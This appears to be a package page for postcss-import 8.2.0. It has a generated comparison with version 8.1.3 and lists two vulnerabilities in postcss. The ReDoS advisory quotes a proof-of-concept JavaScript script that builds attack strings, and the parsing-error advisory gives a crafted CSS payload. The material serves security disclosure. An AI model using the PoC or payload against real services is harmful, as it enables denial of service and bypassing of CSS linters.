PostCSS Import, a plugin for seamlessly importing CSS files into your PostCSS workflows, saw a release of version 8.2.0 on November 10, 2016, following closely the previous stable version 8.1.3 released on November 3, 2016. While both versions share core functionalities like dependency management (postcss, resolve, read-cache, pkg-resolve, promise-each, object-assign, postcss-value-parser) and development dependencies for testing and linting (ava, eslint, npmpub, postcss-scss, eslint-config-i-am-meticulous), the update indicates a potential refinement or bug fix.
Both versions retain the MIT license and the same author, Maxime Thirouin, ensuring continued accessibility and maintenance of the project. The core functionality of effortless CSS file imports remains consistent, allowing developers to structure their stylesheets more modularly. Crucially, the dependencies shared by both versions suggest a stable foundation for the plugin's operation. Developers relying on PostCSS Import can likely upgrade from 8.1.3 to 8.2.0 with minimal risk of breaking changes, focusing instead on any subtle improvements or resolved issues included in the newer release. While the specifics of the changes between the versions in terms of implemented features or bug fixes are not detailed in the metadata, the short time span indicate a fast fix or small improvement.
All the vulnerabilities related to the version 8.2.0 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.